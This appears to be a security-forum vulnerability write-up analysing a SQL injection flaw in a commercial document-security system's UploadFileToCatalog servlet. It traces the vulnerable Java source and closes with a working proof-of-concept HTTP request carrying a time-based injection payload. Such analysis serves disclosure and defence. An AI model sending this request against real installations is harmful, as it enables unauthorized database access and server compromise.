问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某通UploadFileToCatalog接口SQL注入漏洞分析
漏洞分析
某通UploadFileToCatalog接口SQL注入漏洞分析
某通UploadFileToCatalog接口SQL注入漏洞分析 ================================ 漏洞简介 ---- 某通新一代电子文档安全管理系统(简称:CDG)是一款融合文档加密、数据分类分级、访问控制、关联分析、大数据分析、智能识别等核心技术的综合性数据智能安全产品。由于亿某通电子文档安全管理系统UploadFileToCatalog接口的id参数处对传入的数据没有预编译和充足的校验,导致该接口存在SQL注入漏洞,恶意攻击者可能通过该漏洞获取服务器信息或者直接获取服务器权限。 影响版本 ---- V5.6.3.142.166之前 漏洞分析 ---- 首先进入WEB-INF/web.xml中`CTRL+F`全局搜索`UploadFileToCatalog`  `Ctrl`点击`<servlet-mapping>`标签中的`UploadFileToCatelog`进入该类  注意到该类继承了`HttpServlet`类,那么我们直接关注它与前端交互的方法`service`即可 ```java protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { //依次接受请求中的fromurl和type参数 String fromurl = req.getParameter("fromurl"); String type = req.getParameter("type"); ReadProperties rp = I18nUtil.getReadProperties(req.getSession());//接收请求中的session返回一个ReadProperties对象 try { //查看type的值是否为encryptPolicy或lockKey if ("encryptPolicy".equalsIgnoreCase(type)) { this.actionUploadEncryptPolicy(req, resp);//调用actionUploadEncryptPolicy方法将req, resp作为参传入其中,这个方法用于处理加密策略文件的上传 req.setAttribute("flush", "flush");//给响应设置flush参数其值为flush } else if ("lockKey".equalsIgnoreCase(type)) { this.acitonUploadLockKey(req, resp);//调用actionUploadEncryptPolicy方法将req, resp作为参传入其中 //给响应设置flush、success参数其值分别为flush和导入成功 req.setAttribute("flush", "flush"); req.setAttribute("success", "导入成功"); } req.getRequestDispatcher(fromurl).forward(req, resp);//使用getRequestDispatcher方法重定向到fromurl所指的路径中 } catch (Exception var8) {//异常处理 Exception e = var8; this.log.error(e.getMessage()); resp.setContentType("text/html; charset=GBK"); PrintWriter out = new PrintWriter(resp.getOutputStream()); out.println("<script>alert('" + rp.getString("import.failed.please.correct") + "');location='" + req.getContextPath() + "/system/lockkeyImport.jsp'</script>"); out.close(); } } ``` **分析**:如果当我们输入的fromurl是一个存在漏洞的路径,那么就会重定向到该路径下就会我们找到可控的参数就可以触发该漏洞 接着我们到user/dataSearch.jsp下  ```java String pId = request.getParameter("id");//获取请求中id参数 OrganiseStructModel下的 orgModel = new OrganiseStructModel();//创建一个OrganiseStructModel对象 List<String> stringList = new ArrayList<String\>();//创建一个List对象 StringBuilder sb = new StringBuilder("[");//创建了一个StringBuilder对象,并初始化为包含字符[ OrganiseStructDao osd = new OrganiseStructDao();//创建一个OrganiseStructDao,用于与数据库交互,获取或更新组织结构的数据 OrganiseStructInfo info = orgModel.findById(pId);//调用OrganiseStructModel下的findById方法,用于从数据库中获取pid的相关内容 ``` findById方法进行了数据库查询工作,那么就进入该方法查看其是如何进行执行的  **分析:**该方法创建了`OrganiseStructInfo`对象,接着调用了`organiseStructDao`下的`findById`方法并将其值赋值给`OrganiseStructInfo`对象,最后将该对象返回 那么就进入`organiseStructDao`下的`findById`方法  该方法将传入的`organiseId`直接拼接到了sql语句中,之后调用了`getCommonResult`方法执行sql语句获得结果 接着我们跟踪一下这个`getCommonResult`方法  该方法先后调用了与他不用参数的`getCommonResult`方法,最后到达query方法下进行sql语句的执行,我们发现在整个过程中没有对sql语句进行任何的过滤 **总结** 通过上述我们可以利用`fromurl`跳转到`user/dataSearch.jsp`目录下进行,利用`id`参数传入恶意的sql语句进而造成sql注入漏洞的形成 漏洞复现 ---- **poc** ```php POST /CDGServer3/js/../policy/UploadFileToCatalog?fromurl=../user/dataSearch.jsp HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 id=1';WAITFOR DELAY '0:0:3'-- ``` 
发表于 2024-09-02 11:30:02
阅读 ( 10310 )
分类:
OA产品
3 推荐
收藏
0 条评论
请先
登录
后评论
xiao1star
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!